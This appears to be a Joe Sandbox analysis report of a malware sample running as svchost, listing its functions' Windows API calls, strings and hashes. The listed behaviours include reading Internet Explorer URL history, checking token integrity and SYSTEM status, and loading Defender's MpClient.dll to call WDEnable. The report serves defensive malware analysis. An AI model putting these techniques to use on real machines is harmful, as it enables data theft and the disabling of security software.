                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C748F7
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 02C7490D
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileWrite$_snprintf$CloseOpenQueryValue
                                                                                                                                                                                                            • String ID: IE history:$Software\Microsoft\Internet Explorer\TypedURLs$url%i
                                                                                                                                                                                                            • API String ID: 4020389783-427538202
                                                                                                                                                                                                            • Opcode ID: 2409a2a58dad3d092fe5c93e69396275017a5f2c59c8dff11b4eff0586436599
                                                                                                                                                                                                            • Instruction ID: 1b95446c8a17b725b57605333fab497b60f51914e9535f3550e19f0a27500698
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2409a2a58dad3d092fe5c93e69396275017a5f2c59c8dff11b4eff0586436599
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FF313DB1D4025DBBEB25DF94DC89FEEB77CEF44704F00459AA605A3141E7B05B548BA0
                                                                                                                                                                                                            Function 02C76778 Relevance: 19.6, APIs: 13, Instructions: 140memorystringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?), ref: 02C7682E
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C76835
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C76849
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(00000000,?,00000104), ref: 02C76858
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(00000000), ref: 02C7685F
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C768D3
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C768D6
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C768E3
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C768E6
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$AllocBackslashFreePathValidatelstrcpynmemset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 296989886-0
                                                                                                                                                                                                            • Opcode ID: 003de138684be4deab8547d03c1acd8202abc211a1dd9dbdcb42b19c9d054058
                                                                                                                                                                                                            • Instruction ID: ceb7129cbc7e11362f0d9a47eaf3303412d83b723b6487a64ef2fcbc3bb9f872
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 003de138684be4deab8547d03c1acd8202abc211a1dd9dbdcb42b19c9d054058
                                                                                                                                                                                                            • Instruction Fuzzy Hash: AB412971E087865BCB224F309C99BA77FADEF81345F284594ED8687242DB32D60DC791
                                                                                                                                                                                                            Function 02C76570 Relevance: 19.6, APIs: 13, Instructions: 117memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C76596
                                                                                                                                                                                                            • GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765B7
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765DD
                                                                                                                                                                                                            • RtlAllocateHeap.NTDLL(00000000,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765E4
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C765F4
                                                                                                                                                                                                            • ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76616
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76622
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76629
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76636
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,?,?,?,02C86BCC,?), ref: 02C7663D
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C7665D
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C7666E
                                                                                                                                                                                                            • IsBadWritePtr.KERNEL32(?,00000004), ref: 02C7667E
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$FileProcess$Handle$AllocateCloseCreateFreeInformationReadSizeValidateWritememset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 995291462-0
                                                                                                                                                                                                            • Opcode ID: 3fe15c0747de02ce34ff8e5beb352f5bb594d70fcf48db425afb91261f065212
                                                                                                                                                                                                            • Instruction ID: a6d5ba3fe5b7dc7c35c181564afb746dc971d058794fad2efa10cf46b787aa8d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3fe15c0747de02ce34ff8e5beb352f5bb594d70fcf48db425afb91261f065212
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E3310372E40254BBDB218FA59C48FABBB7CEF80B14F108658FD14A7280D7308A148BA0
                                                                                                                                                                                                            Function 02C76240 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 109registrymemorystringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C76271
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C7628F
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(80000002,software\microsoft,00000000,00000101,?), ref: 02C762AB
                                                                                                                                                                                                            • RegQueryValueExA.KERNEL32(?,7D2DE31Fa,00000000,00000001,?,00000104), ref: 02C762D2
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000110,?,?), ref: 02C7634A
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C76351
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C76365
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(00000000,00000000,00000104), ref: 02C7637E
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 02C7638C
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: memset$Heap$AllocCloseOpenProcessQueryValuelstrcpyn
                                                                                                                                                                                                            • String ID: 7D2DE31Fa$software\microsoft
                                                                                                                                                                                                            • API String ID: 217510255-2907480880
                                                                                                                                                                                                            • Opcode ID: 44ab6c0d8ec864cb4832094607e0000585e37440257ed7e1af13c71dc892abea
                                                                                                                                                                                                            • Instruction ID: 3471b68e4a835b0fa5063bde680b29b635e56a2b8e81eeee3e7ffb16df0b7b1c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 44ab6c0d8ec864cb4832094607e0000585e37440257ed7e1af13c71dc892abea
                                                                                                                                                                                                            • Instruction Fuzzy Hash: DD310871E4026D6AEB26DB649C09BDE7B6CEF04704F100599EA1DE7141E7B08B44CBE1
                                                                                                                                                                                                            Function 02C760E0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 102registrymemorystringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C76111
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C7612F
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(00000001,software\microsoft,00000000,00000101,80000001,?,?,?,?,?,00000000), ref: 02C7614A
                                                                                                                                                                                                            • RegQueryValueExA.KERNEL32(80000001,7D2DE31Fa,00000000,00000001,?,00000104,?,?,?,?,?,00000000), ref: 02C76171
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000110,?,?,?,?,?,?,?,00000000), ref: 02C761EA
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 02C761F1
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C76205
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,?,?,00000000), ref: 02C7621E
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(80000001,?,?,?,?,?,00000000), ref: 02C7622C
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: memset$Heap$AllocCloseOpenProcessQueryValuelstrcpyn
                                                                                                                                                                                                            • String ID: 7D2DE31Fa$software\microsoft
                                                                                                                                                                                                            • API String ID: 217510255-2907480880
                                                                                                                                                                                                            • Opcode ID: fb9f789d853990c049af5dfef2ec7b45426995e795e6d08b56affd9dba607a23
                                                                                                                                                                                                            • Instruction ID: 01ab0bc2ad4d45cd08dc3ae6a38c052b133b4db611de5721e0a942fd5e20b490
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fb9f789d853990c049af5dfef2ec7b45426995e795e6d08b56affd9dba607a23
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 41312871E8025C6BDB26DB64DC49FDE7BACEF18704F104598E609E7141E3B08B448BA1
                                                                                                                                                                                                            Function 02C92E00 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 90COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenProcess.KERNEL32(00000400,00000000,00000000,7622F550,00000000,7736C3F0), ref: 02C92E15
                                                                                                                                                                                                            • OpenProcessToken.ADVAPI32(00000000,00000010,?,?,?,?,?,?,?,?,?,?,?,?,02C84683), ref: 02C92E2C
                                                                                                                                                                                                            • GetTokenInformation.KERNELBASE(?,00000007(TokenIntegrityLevel),?,00000010,?), ref: 02C92E4A
                                                                                                                                                                                                            • CharUpperA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,02C84683), ref: 02C92E62
                                                                                                                                                                                                            • CharUpperA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,02C84683), ref: 02C92E88
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(?,00000000), ref: 02C92EBB
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?), ref: 02C92ECC
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C92EDE
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C92EEF
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$Information$CharCloseOpenProcessTokenUpper
                                                                                                                                                                                                            • String ID: *SYSTEM*$ADVA
                                                                                                                                                                                                            • API String ID: 1998047302-3691563785
                                                                                                                                                                                                            • Opcode ID: 277415a8bfd86d7e02d0b9444cd21f2e95ce17a10e53a131167fe95a68d94b56
                                                                                                                                                                                                            • Instruction ID: 7f2bd8690ff1dfab9be954a6c89663d6062ef08d3c0c7ee721daf379dcadf0f9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 277415a8bfd86d7e02d0b9444cd21f2e95ce17a10e53a131167fe95a68d94b56
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C531A171D40288BBEF11CBA1C88CFBE7B7CAF85306F048598ED8667181D7749615CB62
                                                                                                                                                                                                            Function 00401FC0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 68libraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 00401FFE
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00402014
                                                                                                                                                                                                            • PathAppendA.SHLWAPI(?,Windows Defender), ref: 0040202A
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 00402037
                                                                                                                                                                                                            • LoadLibraryA.KERNEL32(MpClient.dll), ref: 00402046
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,WDEnable), ref: 0040205B
                                                                                                                                                                                                            • FreeLibrary.KERNEL32(00000000), ref: 0040208C
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: LibraryPath$AddressAppendCurrentDirectoryFolderFreeLoadProcmemset
                                                                                                                                                                                                            • String ID: MpClient.dll$V,@$WDEnable$Windows Defender
                                                                                                                                                                                                            • API String ID: 1010965793-4204822615
                                                                                                                                                                                                            • Opcode ID: 3df85f3b417d1b5c3b465db41dcca31682b6cff8283aa0f7457e6563496e2944
                                                                                                                                                                                                            • Instruction ID: d5d199d1064221ab56ad58356cdb5c20067bd4798bc980eb12739ab0272296c4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3df85f3b417d1b5c3b465db41dcca31682b6cff8283aa0f7457e6563496e2944
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E711A8B1900355ABC7219F649D49FABBB7CFB48751F10067AFB55B21D0D6784E008AA8
                                                                                                                                                                                                            Function 00402560 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 228commemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CoInitializeEx.COMBASE(00000000,00000002), ref: 0040257F
                                                                                                                                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000000), ref: 004025AD
                                                                                                                                                                                                            • SysAllocString.OLEAUT32(?), ref: 004025C0
                                                                                                                                                                                                            • SysAllocString.OLEAUT32(Windows Explorer), ref: 004025D2
                                                                                                                                                                                                            • CoCreateInstance.OLE32(00404E10,00000000,00004401,00404E20,?), ref: 004025FB
                                                                                                                                                                                                            • CoCreateInstance.OLE32(00404E30,00000000,00004401,00404E40,?), ref: 004026AF
                                                                                                                                                                                                            • SysFreeString.OLEAUT32(00402C95), ref: 0040273D
                                                                                                                                                                                                            • SysFreeString.OLEAUT32(00000000), ref: 00402744
                                                                                                                                                                                                            • CoUninitialize.COMBASE ref: 0040279E
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: String$AllocCreateFreeInstance$FileInitializeModuleNameUninitialize
                                                                                                                                                                                                            • String ID: Windows Explorer
                                                                                                                                                                                                            • API String ID: 1140695583-228612681
                                                                                                                                                                                                            • Opcode ID: f4cedc7bac158036922e6c1ea2cc3172f771719353f965fc279a44cca6b87cc4
                                                                                                                                                                                                            • Instruction ID: b0f249d7cb80b728101da8bc3454e37707d64e119a9c5dc6a768cd6d24ad7165
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f4cedc7bac158036922e6c1ea2cc3172f771719353f965fc279a44cca6b87cc4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: ED712D74A00606AFCB10DB99CD84DAFB7B9AF88704B2441A6E504FB3D4D7B5ED42CB94
                                                                                                                                                                                                            Function 02C934A0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 87memorystringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C934D3
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000110,?,00000000), ref: 02C934E2
                                                                                                                                                                                                            • RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 02C934E9
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C93501
                                                                                                                                                                                                            • GetUserNameA.ADVAPI32(00000000,00000104), ref: 02C93518
                                                                                                                                                                                                            • GetLastError.KERNEL32(?,?,?,?,00000000), ref: 02C9351E
                                                                                                                                                                                                              • Part of subcall function 02C82D50: GetProcessHeap.KERNEL32(00000008,02C93547,00000000,75B534D0,7736C3F0,?,02C93534,00000104,?,?,?,?,00000000), ref: 02C82D6E
                                                                                                                                                                                                              • Part of subcall function 02C82D50: HeapAlloc.KERNEL32(00000000,?,02C93534,00000104,?,?,?,?,00000000), ref: 02C82D75
                                                                                                                                                                                                              • Part of subcall function 02C82D50: memset.MSVCRT ref: 02C82D85
                                                                                                                                                                                                            • GetUserNameA.ADVAPI32(00000000,00000104), ref: 02C9353F
                                                                                                                                                                                                            • StrChrIA.SHLWAPI(?,?,7736C3F0,00000000,?,?,?,?,00000000), ref: 02C93566
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(7736C3F0,00000001,00000104,?,7736C3F0,00000000,?,?,?,?,00000000), ref: 02C9357A
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789, xrefs: 02C934B0
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$memset$NameProcessUser$AllocAllocateErrorLastlstrcpyn
                                                                                                                                                                                                            • String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
                                                                                                                                                                                                            • API String ID: 2345603349-374730529
                                                                                                                                                                                                            • Opcode ID: dcbabfa9400dc68fbcb5f2ba2501b4ff664f283a69539205937ccd9fc760b11b
                                                                                                                                                                                                            • Instruction ID: 5d39b8423ee337d5eb484f8bc5143e6573950741a925296a020dcb575222c5bd
                                                                                                                                                                                                            • Opcode Fuzzy Hash: dcbabfa9400dc68fbcb5f2ba2501b4ff664f283a69539205937ccd9fc760b11b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: CF217B72D0014AA7CF12A6549C48BFBB7BD9FC8B05F1005D9E94593140EB70EB058BA1
                                                                                                                                                                                                            Function 02C81330 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 75memorystringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C81347
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,7622F550,00000000), ref: 02C8135E
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?,?,7622F550,00000000), ref: 02C8136B
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(?,?,7622F550,00000000), ref: 02C813A7
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(02CC7C28,00000000,00000104,00000000,00000001,?,7622F550,00000000), ref: 02C813D1
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,7622F550,00000000), ref: 02C813E0
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,7622F550,00000000), ref: 02C813E3
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,7622F550,00000000), ref: 02C813F0
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,7622F550,00000000), ref: 02C813F3
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Path$Process$BackslashExistsFileFolderFreeValidatelstrcpynmemset
                                                                                                                                                                                                            • String ID: 7d2de60fa
                                                                                                                                                                                                            • API String ID: 780088666-4253731324
                                                                                                                                                                                                            • Opcode ID: 47afdaadcf33957278c797cc9d22dbdd61c09cfa1bb999e8302c62257340366a
                                                                                                                                                                                                            • Instruction ID: 874ce55ae577560d7386450904837d24a7f509fa39a457052b45d97fe50e9868
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 47afdaadcf33957278c797cc9d22dbdd61c09cfa1bb999e8302c62257340366a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C1110671F8425967EB2166259C09FDBBBECDF80B05F044694F98DEB1C0DEE099858BD0
                                                                                                                                                                                                            Function 02C832F0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 125registrymemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C832FA
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C83330
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,?,?,?,00000000), ref: 02C83357
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(?,00000001,00000000,00000001,00000000,00000104,?,?,00000000), ref: 02C8337A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000015,?,?,00000000), ref: 02C833ED
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 02C833F4
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C83404
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 02C83432
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heapmemset$AdminAllocCloseOpenProcessQueryUserValue
                                                                                                                                                                                                            • String ID: software\microsoft
                                                                                                                                                                                                            • API String ID: 1484339481-3673152959
                                                                                                                                                                                                            • Opcode ID: ffc6f798f5a69eaf18ca008539c899796092b0a2bde6652e46702e492edf175d
                                                                                                                                                                                                            • Instruction ID: 23968d54473004be1a826ad79e5164d9663e5341a45f5565242fb56e15f19d55
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ffc6f798f5a69eaf18ca008539c899796092b0a2bde6652e46702e492edf175d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A141C832E001999BDB26DA649D09FDABBB89FC1F08F0491D5ED44A7100DB70DB058BA1
                                                                                                                                                                                                            Function 02C73830 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 86COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SymGetModuleBase.DBGHELP(00000000,?,?,?), ref: 02C73889
                                                                                                                                                                                                            • SymGetModuleInfo.DBGHELP(00000000,00000000,0000023C), ref: 02C7389C
                                                                                                                                                                                                            • SymGetSymFromAddr.DBGHELP(00000000,?,?,00000018), ref: 02C738B3
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C738DD
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C73901
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Module_snprintf$AddrBaseFromInfo
                                                                                                                                                                                                            • String ID: %s!%s + 0x%04x$%s!0x%08x$unknown!0x%08x
                                                                                                                                                                                                            • API String ID: 844136142-2194319270
                                                                                                                                                                                                            • Opcode ID: debc5e9f8d230d550c85161a7568315a262fbd6eb95dd6f97c25237b9e36c290
